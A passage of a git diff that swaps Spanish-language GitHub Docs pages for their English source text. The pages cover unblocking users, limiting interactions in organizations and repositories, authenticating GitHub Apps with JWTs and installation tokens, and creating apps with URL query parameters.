"Blocked users" (Usuarios bloqueados), al lado del usuario que quieres desbloquear, haz clic en **Unblock** (Desbloquear). ![Botón Unblock user (Desbloquear usuario)](/assets/images/help/organizations/org-unblock-user-button.png) +{% data reusables.organizations.moderation-settings %} +5. Under "Blocked users", next to the user you'd like to unblock, click **Unblock**. +![Unblock user button](/assets/images/help/organizations/org-unblock-user-button.png) -## Leer más +## Further reading -- "[Bloquear a un usuario de tu organización](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)" -- "[Bloquear a un usuario desde tu cuenta personal](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)" -- "[Desbloquear a un usuario desde tu cuenta personal](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)" -- "[Informar abuso o spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)" +- "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)" +- "[Blocking a user from your personal account](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)" +- "[Unblocking a user from your personal account](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)" +- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)" diff --git a/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md b/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md index 6a11abb127..bfd7c24b47 100644 --- a/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md +++ b/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: Limitar las interacciones en tu organización -intro: Puedes requerir temporalmente un periodo de actividad limitada para usuarios específicos en todos los repositorios públicos que pertenezcan a tu organización. +title: Limiting interactions in your organization +intro: You can temporarily enforce a period of limited activity for certain users in all public repositories owned by your organization. redirect_from: - /github/setting-up-and-managing-organizations-and-teams/limiting-interactions-in-your-organization - /articles/limiting-interactions-in-your-organization @@ -11,35 +11,37 @@ versions: permissions: Organization owners can limit interactions in an organization. topics: - Community -shortTitle: Limitar las interacciones en org +shortTitle: Limit interactions in org --- -## Acerca de los límites de interacción temporales +## About temporary interaction limits -El limitar las interacciones en tu organización habilita los límites de interacción temporal para todos los repositorios públicos que pertenezcan a la organización. {% data reusables.community.interaction-limits-restrictions %} +Limiting interactions in your organization enables temporary interaction limits for all public repositories owned by the organization. {% data reusables.community.interaction-limits-restrictions %} -{% data reusables.community.interaction-limits-duration %} Después de que pase el periodo de límite, los usuarios pueden reanudar sus actividades normales en los repositorios públicos de tu organización. +{% data reusables.community.interaction-limits-duration %} After the duration of your limit passes, users can resume normal activity in your organization's public repositories. {% data reusables.community.types-of-interaction-limits %} -Los miembros de la organización no se verán afectados por ninguno de los tipos de límites. +Members of the organization are not affected by any of the limit types. -Cuando habilitas limitaciones de actividad en toda la organización, no puedes habilitar o inhabilitar límites de interacción en los repositorios individuales. Para obtener más información sobre limitar la actividad de un repositorio individual, consulta la sección "[Limitr las interacciones en tu repositorio](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)". +When you enable organization-wide activity limitations, you can't enable or disable interaction limits on individual repositories. For more information on limiting activity for an individual repository, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)." -Los propietarios de la organización también pueden bloquear a los usuarios por un periodo específico. Después de que expira el bloqueo, el usuario se desbloquea de manera automática. Para obtener más información, consulta "[Bloquear un usuario de tu organización](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)". +Organization owners can also block users for a specific amount of time. After the block expires, the user is automatically unblocked. For more information, see "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)." -## Limitar las interacciones en tu organización +## Limiting interactions in your organization {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} -1. Enla barra lateral de configuración de la organización, da clic en **Configuración de moderación**. !["Configuración de moderación" en la barra lateral de configuración de la organización](/assets/images/help/organizations/org-settings-moderation-settings.png) -1. Debajo de "Configuración de moderación", da clic en **Límites de interacción**. !["Límites de interacción" en la barra lateral de configuración de la organización](/assets/images/help/organizations/org-settings-interaction-limits.png) +1. In the organization settings sidebar, click **Moderation settings**. + !["Moderation settings" in the organization settings sidebar](/assets/images/help/organizations/org-settings-moderation-settings.png) +1. Under "Moderation settings", click **Interaction limits**. + !["Interaction limits" in the organization settings sidebar](/assets/images/help/organizations/org-settings-interaction-limits.png) {% data reusables.community.set-interaction-limit %} - ![Opciones de límites de interacción temporarios](/assets/images/help/organizations/organization-temporary-interaction-limits-options.png) + ![Temporary interaction limit options](/assets/images/help/organizations/organization-temporary-interaction-limits-options.png) -## Leer más -- "[Informar abuso o spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)" -- "[Administrar el acceso de un individuo al repositorio de una organización](/articles/managing-an-individual-s-access-to-an-organization-repository)" -- "[Niveles de permiso para el repositorio de una cuenta de usuario](/articles/permission-levels-for-a-user-account-repository)" +## Further reading +- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)" +- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)" +- "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository)" - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md b/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md index ded2a9e465..fd429115bd 100644 --- a/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md +++ b/translations/es-ES/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md @@ -1,6 +1,6 @@ --- -title: Limitar las interacciones en tu repositorio -intro: Puedes requerir temporalmente un periodo de actividad limitada para usuarios específicos en un repositorio público. +title: Limiting interactions in your repository +intro: You can temporarily enforce a period of limited activity for certain users on a public repository. redirect_from: - /articles/limiting-interactions-with-your-repository/ - /articles/limiting-interactions-in-your-repository @@ -11,30 +11,32 @@ versions: permissions: People with admin permissions to a repository can temporarily limit interactions in that repository. topics: - Community -shortTitle: Limitar las interacciones en un repositorio +shortTitle: Limit interactions in repo --- -## Acerca de los límites de interacción temporales +## About temporary interaction limits {% data reusables.community.interaction-limits-restrictions %} -{% data reusables.community.interaction-limits-duration %} Después de que pase el periodo de tu límite, los usuarios pueden reanudar sus actividades normales en tu repositorio. +{% data reusables.community.interaction-limits-duration %} After the duration of your limit passes, users can resume normal activity in your repository. {% data reusables.community.types-of-interaction-limits %} -También puedes habilitar los límites de actividad en todos los repositorios que pertenecen a tu cuenta de usuario o a una organización. Si se habilita un límite a lo largo de la organización o del usuario, no podrás limitar la actividad para los repositorios individuales que pertenezcan a la cuenta. Para obtener más información, consulta las secciones "[Limitar las interacciones para tu cuenta de usuario](/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account)" y "[Limitar las interacciones en tu organización](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)". +You can also enable activity limitations on all repositories owned by your user account or an organization. If a user-wide or organization-wide limit is enabled, you can't limit activity for individual repositories owned by the account. For more information, see "[Limiting interactions for your user account](/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account)" and "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)." -## Limitar las interacciones en tu repositorio +## Limiting interactions in your repository {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -1. En la barra lateral izquierda, da clic en **Configuración de moderación**. !["Configuración de moderación" en la barra lateral de configuración del repositorio](/assets/images/help/repository/repo-settings-moderation-settings.png) -1. Debajo de "Configuración de moderación", da clic en **Límites de interacción**. ![Límites de interacción en los parámetros del repositorio ](/assets/images/help/repository/repo-settings-interaction-limits.png) +1. In the left sidebar, click **Moderation settings**. + !["Moderation settings" in repository settings sidebar](/assets/images/help/repository/repo-settings-moderation-settings.png) +1. Under "Moderation settings", click **Interaction limits**. + ![Interaction limits in repository settings ](/assets/images/help/repository/repo-settings-interaction-limits.png) {% data reusables.community.set-interaction-limit %} - ![Opciones de límites de interacción temporarios](/assets/images/help/repository/temporary-interaction-limits-options.png) + ![Temporary interaction limit options](/assets/images/help/repository/temporary-interaction-limits-options.png) -## Leer más -- "[Informar abuso o spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)" -- "[Administrar el acceso de un individuo al repositorio de una organización](/articles/managing-an-individual-s-access-to-an-organization-repository)" -- "[Niveles de permiso para el repositorio de una cuenta de usuario](/articles/permission-levels-for-a-user-account-repository)" +## Further reading +- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)" +- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)" +- "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository)" - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/es-ES/content/developers/apps/building-github-apps/authenticating-with-github-apps.md b/translations/es-ES/content/developers/apps/building-github-apps/authenticating-with-github-apps.md index d508f58903..75409ef3ff 100644 --- a/translations/es-ES/content/developers/apps/building-github-apps/authenticating-with-github-apps.md +++ b/translations/es-ES/content/developers/apps/building-github-apps/authenticating-with-github-apps.md @@ -1,5 +1,5 @@ --- -title: Autenticarse con GitHub Apps +title: Authenticating with GitHub Apps intro: '{% data reusables.shortdesc.authenticating_with_github_apps %}' redirect_from: - /apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps/ @@ -13,59 +13,61 @@ versions: ghec: '*' topics: - GitHub Apps -shortTitle: Autenticación +shortTitle: Authentication --- -## Generar una llave privada +## Generating a private key -Después de que creas una GitHub App, necesitarás generar una o más llaves privadas. Utilizarás la llave privada para firmar las solicitudes de token de acceso. +After you create a GitHub App, you'll need to generate one or more private keys. You'll use the private key to sign access token requests. -Puedes crear varias llaves privadas y rotarlas para prevenir el tiempo de inactividad si alguna llave se pone en riesgo o se pierde. Para verificar que una llave privada empata con una llave pública, consulta la sección [Verificar llaves privadas](#verifying-private-keys). +You can create multiple private keys and rotate them to prevent downtime if a key is compromised or lost. To verify that a private key matches a public key, see [Verifying private keys](#verifying-private-keys). -Para generar una llave privada: +To generate a private key: {% data reusables.user-settings.access_settings %} {% data reusables.user-settings.developer_settings %} {% data reusables.user-settings.github_apps %} {% data reusables.user-settings.modify_github_app %} -5. En "Llaves privadas", da clic en **Generar una llave privada**. ![Generar llave privada](/assets/images/github-apps/github_apps_generate_private_keys.png) -6. Verás una llave privada en formato PEM que se descarga en tu ordenador. Asegúrate de almacenar este archivo, ya que GitHub solo almacena la porción pública de la llave. +5. In "Private keys", click **Generate a private key**. +![Generate private key](/assets/images/github-apps/github_apps_generate_private_keys.png) +6. You will see a private key in PEM format downloaded to your computer. Make sure to store this file because GitHub only stores the public portion of the key. {% note %} -**Nota:** Si estás utilizando una biblioteca que requiere de un formato de archivo específico, el archivo PEM que descargues se encontrará en formato `PKCS#1 RSAPrivateKey`. +**Note:** If you're using a library that requires a specific file format, the PEM file you download will be in `PKCS#1 RSAPrivateKey` format. {% endnote %} -## Verificar las llaves privadas -{% data variables.product.product_name %} generates a fingerprint for each private and public key pair using the SHA-256 hash function. Puedes verificar que tu llave privada empate con la llave pública almacenada en {% data variables.product.product_name %} generando la huella digital de tu llave privada y comparándola con la huella digital que se muestra en {% data variables.product.product_name %}. +## Verifying private keys +{% data variables.product.product_name %} generates a fingerprint for each private and public key pair using the SHA-256 hash function. You can verify that your private key matches the public key stored on {% data variables.product.product_name %} by generating the fingerprint of your private key and comparing it to the fingerprint shown on {% data variables.product.product_name %}. -Para verificar una llave privada: +To verify a private key: -1. Encuentra la huella digital del par de llaves pública y privada que quieras verificar en la sección "Llaves privadas" de tu página de configuración de desarrollador de {% data variables.product.prodname_github_app %}. Para obtener más información, consulta la sección [Generar una llave privada](#generating-a-private-key). ![Huella digital de llave privada](/assets/images/github-apps/github_apps_private_key_fingerprint.png) -2. Genera la huella digital de tu llave privada (PEM) localmente utilizando el siguiente comando: +1. Find the fingerprint for the private and public key pair you want to verify in the "Private keys" section of your {% data variables.product.prodname_github_app %}'s developer settings page. For more information, see [Generating a private key](#generating-a-private-key). +![Private key fingerprint](/assets/images/github-apps/github_apps_private_key_fingerprint.png) +2. Generate the fingerprint of your private key (PEM) locally by using the following command: ```shell $ openssl rsa -in PATH_TO_PEM_FILE -pubout -outform DER | openssl sha256 -binary | openssl base64 ``` -3. Compara los resultados de la huella digital generada localmente con aquella que ves en {% data variables.product.product_name %}. +3. Compare the results of the locally generated fingerprint to the fingerprint you see in {% data variables.product.product_name %}. -## Borra las llaves privadas -Puedes eliminar una llave privada que se haya perdido o puesto en riesgo si la borras, pero debes de tener por lo menos una llave privada. Cuando solo tienes una llave, necesitas generar una nueva antes de borrar la anterior. ![Borrar la última llave privada](/assets/images/github-apps/github_apps_delete_key.png) +## Deleting private keys +You can remove a lost or compromised private key by deleting it, but you must have at least one private key. When you only have one key, you will need to generate a new one before deleting the old one. +![Deleting last private key](/assets/images/github-apps/github_apps_delete_key.png) -## Autenticarse como una {% data variables.product.prodname_github_app %} +## Authenticating as a {% data variables.product.prodname_github_app %} -El autenticarte como una {% data variables.product.prodname_github_app %} te permite hacer un par de cosas: +Authenticating as a {% data variables.product.prodname_github_app %} lets you do a couple of things: -* Puedes recuperar información administrativa de alto nivel acerca de tu {% data variables.product.prodname_github_app %}. -* Puedes solicitar tokens de acceso para una instalación de la app. +* You can retrieve high-level management information about your {% data variables.product.prodname_github_app %}. +* You can request access tokens for an installation of the app. -Para autenticarte como una {% data variables.product.prodname_github_app %}, [genera una llave privada](#generating-a-private-key) en formato PEM y descárgala a tu máquina local. Utilizarás esta llave para firmar un [Token Web (JWT) de JSON](https://jwt.io/introduction) y cifrarlo utilizando el algoritmo `RS256`. {% data variables.product.product_name %} revisa que la solicitud se autentique verificando el token con la llave pública almacenada de la app. +To authenticate as a {% data variables.product.prodname_github_app %}, [generate a private key](#generating-a-private-key) in PEM format and download it to your local machine. You'll use this key to sign a [JSON Web Token (JWT)](https://jwt.io/introduction) and encode it using the `RS256` algorithm. {% data variables.product.product_name %} checks that the request is authenticated by verifying the token with the app's stored public key. -Aquí se muestra rápidamente un script de Ruby que puedes utilizar para generar un JWT. Nota que tendrás que ejecutar `gem install jwt` antes de utilizarlo. +Here's a quick Ruby script you can use to generate a JWT. Note you'll have to run `gem install jwt` before using it. - ```ruby require 'openssl' require 'jwt' # https://rubygems.org/gems/jwt @@ -88,19 +90,19 @@ jwt = JWT.encode(payload, private_key, "RS256") puts jwt ``` -`YOUR_PATH_TO_PEM` y `YOUR_APP_ID` son los valores que debes reemplazar. Asegúrate de poner los valores entre comillas dobles. +`YOUR_PATH_TO_PEM` and `YOUR_APP_ID` are the values you must replace. Make sure to enclose the values in double quotes. -Utiliza tu identificador de {% data variables.product.prodname_github_app %} (`YOUR_APP_ID`) como el valor para la solicitud del [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1) (emisor) del JWT. Puedes obtener el identificador de {% data variables.product.prodname_github_app %} a través del ping del webhook inicial después de [crear la app](/apps/building-github-apps/creating-a-github-app/), o en cualquier momento desde la página de configuración de la app en la UI de GitHub.com. +Use your {% data variables.product.prodname_github_app %}'s identifier (`YOUR_APP_ID`) as the value for the JWT [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1) (issuer) claim. You can obtain the {% data variables.product.prodname_github_app %} identifier via the initial webhook ping after [creating the app](/apps/building-github-apps/creating-a-github-app/), or at any time from the app settings page in the GitHub.com UI. -Después de crear el JWT, configura el `Header` de la solicitud de la API: +After creating the JWT, set it in the `Header` of the API request: ```shell $ curl -i -H "Authorization: Bearer YOUR_JWT" -H "Accept: application/vnd.github.v3+json" {% data variables.product.api_url_pre %}/app ``` -`YOUR_JWT` es el valor que debes reemplazar. +`YOUR_JWT` is the value you must replace. -El ejemplo anterior utiliza el tiempo de caducidad máximo de 10 minutos, después del cual, la API comenzará a devolver el error `401`: +The example above uses the maximum expiration time of 10 minutes, after which the API will start returning a `401` error: ```json { @@ -109,19 +111,19 @@ El ejemplo anterior utiliza el tiempo de caducidad máximo de 10 minutos, despu } ``` -Necesitarás crear un nuevo JWT después de que el tiempo caduque. +You'll need to create a new JWT after the time expires. -## Acceder a terminales de API como una {% data variables.product.prodname_github_app %} +## Accessing API endpoints as a {% data variables.product.prodname_github_app %} -Para obtener una lista de las terminales de API de REST que puedes utilizar para obtener información de alto nivel acerca de una {% data variables.product.prodname_github_app %}, consulta la sección "[GitHub Apps](/rest/reference/apps)". +For a list of REST API endpoints you can use to get high-level information about a {% data variables.product.prodname_github_app %}, see "[GitHub Apps](/rest/reference/apps)." -## Autenticarse como una instalación +## Authenticating as an installation -El autenticarte como una instalación te permite realizar acciones en la API para dicha instalación. Antes de autenticarte como una instalación, debes crear un token de acceso a ésta. Asegúrate de que ya hayas instalado tu GitHub App en por lo menos un repositorio; es imposible crear un token de instalación si una sola instalación. Las {% data variables.product.prodname_github_apps %} utilizan estos tokens de acceso a la instalación para autenticarse. Para obtener más información, consulta la sección "[Instalar las GitHub Apps](/developers/apps/managing-github-apps/installing-github-apps)". +Authenticating as an installation lets you perform actions in the API for that installation. Before authenticating as an installation, you must create an installation access token. Ensure that you have already installed your GitHub App to at least one repository; it is impossible to create an installation token without a single installation. These installation access tokens are used by {% data variables.product.prodname_github_apps %} to authenticate. For more information, see "[Installing GitHub Apps](/developers/apps/managing-github-apps/installing-github-apps)." -Predeterimenadamente, los tokens de acceso de instalación tienen un alcance de todos los repositorios a los cuales tiene acceso dicha instalación. Puedes limitar el alcance del token de acceso de la instalación a repositorios específicos si utilizas el parámetro `repository_ids`. Consulta la terminal [Crear un token de acceso de instalación para una app](/rest/reference/apps#create-an-installation-access-token-for-an-app) para encontrar más detalles. Los tokens de acceso de instalación cuentan con permisos configurados por la {% data variables.product.prodname_github_app %} y caducan después de una hora. +By default, installation access tokens are scoped to all the repositories that an installation can access. You can limit the scope of the installation access token to specific repositories by using the `repository_ids` parameter. See the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint for more details. Installation access tokens have the permissions configured by the {% data variables.product.prodname_github_app %} and expire after one hour. -Para listar las instalaciones para una app autenticada, incluye el JWT [generado anteriormente](#jwt-payload) en el encabezado de autorización en la solicitud de la API: +To list the installations for an authenticated app, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request: ```shell $ curl -i -X GET \ @@ -130,9 +132,9 @@ $ curl -i -X GET \ {% data variables.product.api_url_pre %}/app/installations ``` -La respuesta incluirá una lista de instalaciones en donde cada `id` de instalación pueda utilizarse para crear un token de acceso a la instalación. Para obtener más información acerca del formato de respuesta, consulta la "[Lista de instalaciones para la app autenticada](/rest/reference/apps#list-installations-for-the-authenticated-app)". +The response will include a list of installations where each installation's `id` can be used for creating an installation access token. For more information about the response format, see "[List installations for the authenticated app](/rest/reference/apps#list-installations-for-the-authenticated-app)." -Para crear un token de acceso a la instalación, incluye el JWT [que se generó anteriormente](#jwt-payload) en el encabezado de autorización en la solicitud de la API y reemplaza a `:installation_id` con la `id` de la instalación: +To create an installation access token, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request and replace `:installation_id` with the installation's `id`: ```shell $ curl -i -X POST \ @@ -141,9 +143,9 @@ $ curl -i -X POST \ {% data variables.product.api_url_pre %}/app/installations/:installation_id/access_tokens ``` -La respuesta incluirá tu token de acceso de instalación, la fecha de caducidad, los permisos del token, y los repositorios a los cuales tiene acceso. Para obtener más información acerca del formato de respuesta, consulta la terminal [Crear un token de acceso de instalación para una app](/rest/reference/apps#create-an-installation-access-token-for-an-app). +The response will include your installation access token, the expiration date, the token's permissions, and the repositories that the token can access. For more information about the response format, see the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint. -Para autenticarte con un token de acceso de instalación, inclúyela en el encabezado de Autorización en la solicitud de la API: +To authenticate with an installation access token, include it in the Authorization header in the API request: ```shell $ curl -i \ @@ -152,17 +154,17 @@ $ curl -i \ {% data variables.product.api_url_pre %}/installation/repositories ``` -`YOUR_INSTALLATION_ACCESS_TOKEN` es el valor que debes reemplazar. +`YOUR_INSTALLATION_ACCESS_TOKEN` is the value you must replace. -## Acceder a las terminales de la API como una instalación +## Accessing API endpoints as an installation -Para encontrar un listado de las terminales de la API de REST disponibles para utilizarse con las {% data variables.product.prodname_github_apps %} utilizando un token de acceso de instalación, consulta la sección "[Terminales Disponibles](/rest/overview/endpoints-available-for-github-apps)". +For a list of REST API endpoints that are available for use by {% data variables.product.prodname_github_apps %} using an installation access token, see "[Available Endpoints](/rest/overview/endpoints-available-for-github-apps)." -Para encontrar un listad de terminales relacionado con las instalaciones, consulta la sección "[Instalaciones](/rest/reference/apps#installations)". +For a list of endpoints related to installations, see "[Installations](/rest/reference/apps#installations)." -## Acceso a Git basado en HTTP mediante una instalación +## HTTP-based Git access by an installation -Las instalaciones con [permisos](/apps/building-github-apps/setting-permissions-for-github-apps/) en los `contents` de un repositorio pueden utilizar su token de acceso de instalación para autenticarse para acceso a Git. Utiliza el token de acceso de instalación como la contraseña HTTP: +Installations with [permissions](/apps/building-github-apps/setting-permissions-for-github-apps/) on `contents` of a repository, can use their installation access tokens to authenticate for Git access. Use the installation access token as the HTTP password: ```shell git clone https://x-access-token:<token>@github.com/owner/repo.git diff --git a/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md b/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md index 692c73e86c..5d3b70e9d9 100644 --- a/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md +++ b/translations/es-ES/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md @@ -1,6 +1,6 @@ --- -title: Crear una GitHub App utilizando parámetros de URL -intro: 'Puedes preseleccionar los ajustes de una nueva {% data variables.product.prodname_github_app %} utilizando [parámetros de consulta] de una URL (https://en.wikipedia.org/wiki/Query_string) para configurar rápidamente los nuevos ajustes de la {% data variables.product.prodname_github_app %}.' +title: Creating a GitHub App using URL parameters +intro: 'You can preselect the settings of a new {% data variables.product.prodname_github_app %} using URL [query parameters](https://en.wikipedia.org/wiki/Query_string) to quickly set up the new {% data variables.product.prodname_github_app %}''s configuration.' redirect_from: - /apps/building-github-apps/creating-github-apps-using-url-parameters - /developers/apps/creating-a-github-app-using-url-parameters @@ -11,23 +11,22 @@ versions: ghec: '*' topics: - GitHub Apps -shortTitle: Parámetros de consulta para la creción de apps +shortTitle: App creation query parameters --- +## About {% data variables.product.prodname_github_app %} URL parameters -## Acerca de los parámetros de URL de las {% data variables.product.prodname_github_app %} +You can add query parameters to these URLs to preselect the configuration of a {% data variables.product.prodname_github_app %} on a personal or organization account: -Puedes agregar parámetros de consulta a estas URL para preseleccionar la configuración de una {% data variables.product.prodname_github_app %} en una cuenta organizacional o personal: +* **User account:** `{% data variables.product.oauth_host_code %}/settings/apps/new` +* **Organization account:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new` -* **Cuenta de usuario:** `{% data variables.product.oauth_host_code %}/settings/apps/new` -* **Cuenta organizacional:** `{% data variables.product.oauth_host_code %}/organizations/:org/settings/apps/new` - -El creador de la app puede editar los valores preseleccionados desde la página de registro de la {% data variables.product.prodname_github_app %} antes de emitirla. Si no incluyes los parámetros requeridos en la secuencia de consulta de la URL, como el `name`, el creador de la app necesitará ingresar un valor antes de emitirla. +The person creating the app can edit the preselected values from the {% data variables.product.prodname_github_app %} registration page, before submitting the app. If you do not include required parameters in the URL query string, like `name`, the person creating the app will need to input a value before submitting the app. {% ifversion ghes > 3.1 or fpt or ghae-next or ghec %} -En el caso de las apps que requieren que un secreto asegure su webhook, la persona que crea la app debe configurar el valor de dicho secreto y no se debe hacer utilizando parámetros de consulta. Para obtener más información, consulta la sección "[Asegurar tus webhooks](/developers/webhooks-and-events/webhooks/securing-your-webhooks)". +For apps that require a secret to secure their webhook, the secret's value must be set in the form by the person creating the app, not by using query parameters. For more information, see "[Securing your webhooks](/developers/webhooks-and-events/webhooks/securing-your-webhooks)." {% endif %} -La siguiente URL crea una app pública nueva que se llama `octocat-github-app` con una descripción preconfigurada y una URL de rellamado. Esta URL también selecciona los permisos de lectura y escritura para las `checks`, se suscribe a los eventos de webhook de `check_run` y `check_suite`, y selecciona la opción para solicitar la autorización del usuario (OAuth) durante la instalación: +The following URL creates a new public app called `octocat-github-app` with a preconfigured description and callback URL. This URL also selects read and write permissions for `checks`, subscribes to the `check_run` and `check_suite` webhook events, and selects the option to request user authorization (OAuth) during installation: {% ifversion fpt or ghae-next or ghes > 3.0 or ghec %} @@ -43,101 +42,102 @@ La siguiente URL crea una app pública nueva que se llama `octocat-github-app` c {% endif %} -La lista completa de parámetros de consulta, permisos y eventos disponibles se lista en las secciones siguientes. +The complete list of available query parameters, permissions, and events is listed in the sections below. -## Parámetros de configuración de una {% data variables.product.prodname_github_app %} +## {% data variables.product.prodname_github_app %} configuration parameters - | Nombre | Type | Descripción | - | -------------------------------------------------- | ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | - | `name (nombre)` | `secuencia` | El nombre de la {% data variables.product.prodname_github_app %}. Pónle un nombre claro y breve a tu app. Tu app no puede tener el mismo nombre que un usuario de GitHub, a menos de que sea tu propio nombre de usuario u organización. Una versión simplificada del nombre de tu aplicación se mostrará en la interface de usuario cuando tu integración tome alguna acción. | - | `descripción` | `secuencia` | Una descripción de la {% data variables.product.prodname_github_app %}. | - | `url` | `secuencia` | La URL completa de tu página principal del sitio web de la {% data variables.product.prodname_github_app %}.{% ifversion fpt or ghae-next or ghes > 3.0 or ghec %} - | `callback_urls` | `conjunto de secuencias` | Una URL completa a la cual redirigir cuando alguien autorice una instalación. Puedes proporcionar hasta 10 URL de rellamado. Estas URL se utilizan si tu app necesita identificar y autorizar solicitudes de usuario a servidor. Por ejemplo, `callback_urls[]=https://example.com&callback_urls[]=https://example-2.com`.{% else %} - | `callback_url` | `secuencia` | La URL completa a la cual se redirigirá después de que alguien autorice la instalación. Esta URL se utiliza si tu app necesita identificar y autorizar solicitudes de usuario a servidor.{% endif %} - | `request_oauth_on_install` | `boolean` | Si tu app autoriza a los usuarios mediante el flujo de OAuth, puedes configurar esta opción como `true` para permitir que las personas autoricen la app cuando la instalen, lo cual te ahorra un paso. Si seleccionas esta opción, la `setup_url` deja de estar disponible y se redirigirá a los usuarios a tu `callback_url` después de que instalen la app. | - | `setup_url` | `secuencia` | La URL completa a la cual se redirigirá después de que instalen la {% data variables.product.prodname_github_app %} si ésta requiere de alguna configuración adicional después de su instalación. | - | `setup_on_update` | `boolean` | Configúralo como `true` para redireccionar a las personas a la URL de ajustes cuando las instalaciones se actualicen, por ejemplo, después de que se agreguen o eliminen repositorios. | - | `public` | `boolean` | Configúralo como `true` cuando tu {% data variables.product.prodname_github_app %} se encuentre disponible al público, o como `false` cuando solo el propietario de la misma tenga acceso a ella. | - | `webhook_url` | `secuencia` | La URL completa a la cual quisieras enviar cargas útiles de eventos de webhook. | - | {% ifversion ghes < 3.2 or ghae %}`webhook_secret` | `secuencia` | Puedes especificar un secreto para asegurar tus webhooks. Consulta la sección "[Asegurar tus webhooks](/webhooks/securing/)" para obtener más detalles. | - | {% endif %}`events` | `conjunto de secuencias` | Eventos de webhook. Algunos eventos de webhook requieren asignar permisos de `read` o de `write` a un recurso antes de que puedas seleccionar el evento cuando registras una {% data variables.product.prodname_github_app %} nueva. Consulta la sección "[Eventos de webhook de las {% data variables.product.prodname_github_app %}](#github-app-webhook-events)" para encontrar los eventos disponibles y sus permisos requeridos. Puedes seleccionar eventos múltiples en una secuencia de consulta. Por ejemplo, `events[]=public&events[]=label`. | - | `dominio` | `secuencia` | La URL de una referencia de contenido. | - | `single_file_name` | `secuencia` | Este es un permiso con alcance corto que permite a la app acceder a un solo archivo en cualquier repositorio. Cuando configuras el permiso de `single_file` en `read` o `write`, este campo proporciona la ruta al archivo único que administrará tu {% data variables.product.prodname_github_app %}. {% ifversion fpt or ghes or ghec %} Si necesitas administrar varios archivos, consulta la opción `single_file_paths` a continuación. {% endif %}{% ifversion fpt or ghes or ghec %} - | `single_file_paths` | `conjunto de secuencias` | Esto permite a la app acceder hasta a 10 archivos especificos en un repositorio. Cuando configuras el permiso `single_file` en `read` o `write`, este arreglo puede almacenar las rutas de hasta diez archivos que administrará tu {% data variables.product.prodname_github_app %}. Estos archivos reciben el mismo permiso que se configuró para `single_file`, y no tienen permisos individuales por separado. Cuando dos o mas archivos se configuran, la API devuelve `multiple_single_files=true`, de lo contrario, devuelve `multiple_single_files=false`.{% endif %} + Name | Type | Description +-----|------|------------- +`name` | `string` | The name of the {% data variables.product.prodname_github_app %}. Give your app a clear and succinct name. Your app cannot have the same name as an existing GitHub user, unless it is your own user or organization name. A slugged version of your app's name will be shown in the user interface when your integration takes an action. +`description` | `string` | A description of the {% data variables.product.prodname_github_app %}. +`url` | `string` | The full URL of your {% data variables.product.prodname_github_app %}'s website homepage.{% ifversion fpt or ghae-next or ghes > 3.0 or ghec %} +`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs. These URLs are used if your app needs to identify and authorize user-to-server requests. For example, 